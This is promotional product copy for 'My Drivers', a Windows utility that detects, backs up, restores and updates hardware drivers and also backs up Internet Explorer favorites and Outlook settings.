Device driver backup utility designed to backup driver of your system in case of system crash or reinstallation of Windows. Automatic install / restore, update device drivers and find drivers for your unknown devices.

Backup drivers today !
Download a driver backup software now !
Driver Backup plus IE Favorites, Outlook Express Backup !
Driver Backup plus automatic installer .EXE to restore all drivers with one mouse-click.
Windows Vista Compatible.

My Drivers enables easy and fast detection, backup and restore of all hardware device drivers currently on your system. Also, you can even find the latest drivers for your hardware and install them onto your computer. With just one or two mouse button clicks, you will have all your hardware devices extracted and backed-up to any folder you want. When you reinstall or upgrade your system, you can restore all drivers by clicking a button. Once after a reboot, all the drivers will be re-installed and will function well. You may also choose to backup a particular driver or all the drivers with an EXE automatic installer. If you have a particular item of hardware that is troublesome, just remove the driver with this software. It is especially useful to those who have lost their Driver Disk or Driver CD. My Drivers is able to clone the original driver installation. It is also capable of serving those people to find and install the appropriate and latest drivers for their hardware devices. My Drivers identifies almost all hardware devices, reported information includes device model, device manufacturer, chip/chipset manufacturer, OEM name, OEM vender. Over 58,600 drivers information and manufacturers and venders information are embedded with the software. You may easily find a driver that will work for a certain device by PnP ID fingerprint comparison, and a compatibility test will be performed before installing a driver that will be downloaded from the Internet. It is optional to create a floppy disc with My Drivers included for further driver management and hardware detection when no drivers are installed on Windows system. If you have a CD-R or CD-RW recorder or another partition, you might backup the entire set of driver files there. My Drivers will also backup the Favorites in Internet Explorer and Proxy Settings and provides a backup for settings for Outlook and Outlook Express.